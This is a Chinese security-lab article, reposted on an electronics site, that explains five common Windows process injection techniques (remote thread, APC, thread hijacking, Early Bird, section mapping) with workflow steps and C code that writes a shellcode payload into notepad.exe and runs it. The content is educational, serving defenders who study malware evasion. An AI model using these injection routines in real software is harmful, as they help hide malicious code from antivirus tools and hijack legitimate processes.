0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

在Windows中常见的进程注入手段介绍

蛇矛实验室 来源:蛇矛实验室 2023-07-30 15:34 次阅读

前言

进程注入是一种众所周知的技术,恶意程序利用它在进程的内存中插入并执行代码。

进程注入是一种恶意程序广泛使用的防御规避技术。大多数情况下,恶意程序使用进程注入来动态运行代码,这意味着实际的恶意代码不需要直接写入磁盘上的文件中,以避免被防病毒软件的静态检测所发现。

简单来说,进程注入就是将一段数据从一个进程传输到另一个进程的方法,这种注入过程可以发生在执行操作的同一进程(自注入)上,也可发生在外部进程上。在注入外部进程的情况下,攻击者通常会选择受信任的合法进程,例如正在运行的应用程序或系统进程,其目的是未经授权地访问和操纵这些进程,同时也希望能够隐藏自己注入的恶意代码,以逃避安全软件和防御者的检测。

无论是在同一进程还是远程进程中,为了在内存中注入和执行代码,攻击者会使用 Windows API 的不同组合。这些 API 在注入逻辑中有不同的用途,具体使用的函数调用数量和特定的 Windows API 可能会有所不同,这取决于所选的代码注入方法。

已有多种方法实现在 Windows 进程空间内的代码注入和执行,下面列出了常见的进程注入方法(以注入 shellcode 为例,注入 DLL 类似)。

ps:文中设计的示例代码为了精简,方便看清逻辑,并未添加相关错误处理。

传统的远程线程注入

该注入技术通过实例化远程线程来实现在目标进程中的执行。

工作流程:

获取目标进程的句柄

在目标进程中为 payload 分配空间

将 payload 写入目标进程分配的空间中

创建一个线程执行注入代码

intmain()
{
SIZE_T payloadLen = sizeof(payload);

DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL);
WaitForSingleObject(hThread, 500);

return0;
}

根据该注入技术,可以拓展出许多基于该技术的变种,在获取目标进程句柄上,恶意程序可以通过创建一个新的进程来实现(CreateProcess、CreateProcessWithLogonW、CreateProcessAsUser、NtCreateUserProcess 等),而不仅仅通过打开现有进程实现,获取通过较低层次的 API(Native API)NtOpenProcess 来获取目标进程句柄,在比如可以使用 NtWriteVirtualMemory 将数据写入对方内存,使用类似 ZwCreateThreadEx、RtlCreateUserThread 等 API 来执行写入的恶意代码。

APC 注入

进程中每一个线程都存在一个 APC 队列,当一个线程从等待状态中苏醒(线程调用 SlleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx 函数时会进入可唤醒状态),进入可警报状态状态的时候,系统遍历该线程的 APC 队列,然后按照 FIFO 的顺序来执行 APC。在用户模式下,我们可以像创建远程线程一样,使用 QueueUserAPC 把 APC 过程添加到目标线程的 APC 队列中,等这个线程处于可警报状态时,就会执行插入的 APC 过程了。更详细的 APC 解释可参考 Asynchronous Procedure Calls(链接:https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls)

工作流程:

获取目标进程句柄

获取目标进程任一线程句柄

在目标进程中为 payload 分配空间

将 payload 写入目标进程分配的空间

将 APC 插入目标线程的 APC 队列中

当这个线程处于可警报状态时,恶意代码将被执行,APC 注入的优点,避免了在目标进程中创建新的线程,使用异步过程调用去触发恶意代码的执行。但缺点也很明显,恶意代码被触发执行的条件苛刻,被触发的时机不确定。

intmain()
{
SIZE_T payloadLen = sizeof(payload);

DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
HANDLE hThread = FindThread(pid);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL);
QueueUserAPC((PAPCFUNC)pRemoteBuffer, hThread, NULL);

return0;
}

Thread Hijacking 注入

该注入技术通过将目标线程的执行重定向到任意代码来控制进程内执行流的技术。它允许攻击者在不创建新进程或修改底层代码的情况下操纵正在运行的进程的行为。

工作流程:

获取目标进程句柄以及目标进程的任一线程句柄

在目标进程为 payload 分配一段空间

将 payload 写入目标进程

挂起目标线程

获取目标线程上下文

修改目标线程 RIP(x64)/EIP(x86)让其指向存放 payload 的地址

提交劫持目标线程上下文

恢复被劫持的线程执行

intmain()
{
SIZE_T payloadLen = sizeof(payload);
CONTEXT ctx{};

DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
HANDLE hThread = FindThread(pid);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL);
SuspendThread(hThread);
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
#ifdef_WIN64
ctx.Rip = (DWORD_PTR)pRemoteBuffer;
#else
ctx.Eip = (DWORD_PTR)pRemoteBuffer;
#endif
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

return0;
}

Early Bird 注入

Early Bird 是一种简单而强大的技术,实际上它是 APC 注入和 Thread Hijacking 注入的结合体,具体原理是在线程初始化时会调用 NTDLL 中的未导出函数 NtTestAlert,它是一个用于检查当前线程的 APC 队列的函数。如果队列中有任何排队的作业,NtTestAlert 会清空队列。在线程启动时,在执行任何其他操作之前,NtTestAlert 函数会被调用。因此,如果在线程的初始状态下操作 APC,就可以成功执行恶意代码。

工作流程:

创建一个处于挂起状态的合法进程

在目标进程的内存空间中为 payload 分配内存

将 payload 写入目标进程

将 APC 插入目标进程主线程的 APC 队列中

恢复目标进程的主线程执行

intmain()
{
SIZE_T payloadLen = sizeof(payload);

TCHAR processName[] = TEXT("notepad.exe");

STARTUPINFO si{sizeof(si)};
PROCESS_INFORMATION pi{};
CreateProcess(NULL, processName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID pRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(pi.hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL);
QueueUserAPC((PAPCFUNC)pRemoteBuffer, pi.hThread, NULL);
ResumeThread(pi.hThread);

return0;
}

在将 payload 写入目标进程后,当恶意代码被执行时,查看此时调用堆栈可以发现 NtTestAlert 函数被调用,可以发现导致恶意代码被执行的流程是:

LdrInitializeThunk→ LdrpInitialize → _LdrpInitialize → NtTestAlert → KiUserApcDispatcher

7bbcc55c-2d2e-11ee-815d-dac502259ad0.png7bd442cc-2d2e-11ee-815d-dac502259ad0.png

Mapping 注入

通过利用 MapViewOfFile 相关函数,恶意代码可以将攻击者控制的现有节映射到目标进程中。这样做的好处是不需要显式地分配具有 RWX 权限的内存,并且避免了复制单独有效载荷的需要。恶意代码间接地成为目标进程内存空间的一部分,从而允许它在真正模块的上下文中执行。

工作流程:

创建具有 RWX 保护属性的映射对象

将映射对象映射到本地进程的虚拟地址空间中

将 payload 写入到映射地址中

获取目标进程句柄

将映射对象映射到远程进程的虚拟地址空间中

创建一个线程执行注入代码

intmain()
{
SIZE_T payloadLen = sizeof(payload);
DWORD pid = FindProcessIdByName(TEXT("pe-bear.exe"));

HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)payloadLen, NULL);
LPVOID pLocalView = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, payloadLen);
memcpy(pLocalView, payload, payloadLen);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteView = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteView, NULL, 0, NULL);
WaitForSingleObject(hThread, 500);

UnmapViewOfFile(pLocalView);
CloseHandle(hThread);
CloseHandle(hMapping);

return0;
}

总结

大多数进程注入技术的步骤如下(某些技术可能需要额外的步骤):

首先,需要获取目标进程的句柄,这可以通过创建一个新的进程或使用 API 函数来查看运行中的进程来实现;

其次,需要准备好要注入的数据(shellcode、PE(exe、dll...));

然后,需要找到一种方法将准备好的数据传输到目标进程。这可以使用进程间通信(IPC)机制或一些系统 API 组合实现;

最后,需要执行注入的代码,将准备好的数据在目标进程中运行起来

进程注入在恶意代码开发中被大量使用,防御者也在研究越来越多的新技术,传统的进程注入技术大多依赖于通用的 API,在一些高级的进程注入方法中,这些新的注入方法比传统的注入手段更加复杂,这些注入方法针对目标进程的内部结构,而不仅仅依赖通用 API,这使得防御者更难检测,在后续的文章中,将分析这些高级的注入方法,研究其实现原理。






审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • dll
    dll
    +关注

    关注

    0

    文章

    113

    浏览量

    45016
  • RIP
    RIP
    +关注

    关注

    0

    文章

    30

    浏览量

    10677
  • 触发器
    +关注

    关注

    14

    文章

    1677

    浏览量

    60404
  • 状态机
    +关注

    关注

    2

    文章

    486

    浏览量

    27168
  • APC
    APC
    +关注

    关注

    0

    文章

    34

    浏览量

    11401

原文标题:进程注入系列Part 1 常见的进程注入手段

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    FPGACPLD中常见模块设计精华集锦

    FPGACPLD中常见模块设计精华集锦
    发表于 08-17 22:22

    电源中常见的故障现象如何维修

    电源中常见的故障现象如何维修
    发表于 03-11 07:24

    寻求一种Si衬底上氮离子注入的有效单项监控手段

    如题,寻求一种Si衬底上N+离子注入的有效单项监控手段
    发表于 04-01 23:50

    无线移动数据接收中常见的问题

    讨论一个无线移动数据接收中常见的问题。
    发表于 04-14 06:48

    HDMI I/O设计和测试中常见的问题?怎么解决?

    本文讨论了HDMI I/O设计和测试中常见到的和需要注意的问题以及解决的方法。
    发表于 06-02 06:28

    平衡小车移植过程中常见的问题有哪些?

    平衡小车移植过程中常见的问题有哪些?
    发表于 11-10 06:19

    介绍开发者ESP8266开发中常见的一些问题

    ESP8266 wifi模块开发汇总 ESP8266 wifi模块开发汇总本文档主要介绍开发者ESP8266开发中常见的一些问题。 这些问题主要包括以下几大类:基本概念相关ESP8266 相关
    发表于 11-10 07:31

    WINDOWS核心编程 (pdf下载)

    WINDOWS核心编程:本书是讲解Windows 操作系统内部机制的专著,作者从基本概念入手,全面系统地介绍Windows的各种基本构件,
    发表于 11-27 23:15 1001次下载
    <b class='flag-5'>WINDOWS</b>核心编程 (pdf下载)

    笔记本维修中常见的商家作弊手段曝光

    笔记本维修中常见的商家作弊手段曝光  从事笔记本维修行业数年了,多多少少接触了,看到了笔记本行业中的种种不诚信行为,在
    发表于 01-19 10:57 432次阅读

    windows 2000 常见进程

    windows 2000 常见进程表 Internet 信息服务的管理单元管理 Web 和 FTP 服务。可执行文件的路径:C:WINNTSystem32inetsrvinetinfo.exe服务名称:cisvc显
    发表于 02-01 12:03 556次阅读

    windows应用程序读取进程的内存工具免费下载

    本文档的主要内容详细介绍的是windows应用程序读取进程的内存工具免费下载。
    发表于 05-27 08:00 1次下载

    MCU常见的加密手段

    MCU常见的加密手段
    发表于 10-25 16:36 15次下载
    MCU<b class='flag-5'>常见</b>的加密<b class='flag-5'>手段</b>

    PCB设计工作中常见的错误有哪些?

    一站式PCBA智造厂家今天为大家讲讲怎pcb设计过程中常见错误有哪些?PCB设计过程中常见错误归纳。接下来为大家介绍下PCB设计过程中常见错误。
    的头像 发表于 05-23 09:02 1103次阅读
    PCB设计工作<b class='flag-5'>中常见</b>的错误有哪些?

    直线导轨使用中常见的问题有哪些

    直线导轨使用中常见的问题有哪些?
    的头像 发表于 08-03 17:43 779次阅读
    直线导轨使用<b class='flag-5'>中常见</b>的问题有哪些

    常见进程间通信方式

    进程间通信 如果两个进程,想要知道对方在干嘛,或者进行协调运行,就需要进程间通信。下面介绍一下常见进程
    的头像 发表于 10-08 15:48 819次阅读
    <b class='flag-5'>常见</b>的<b class='flag-5'>进程</b>间通信方式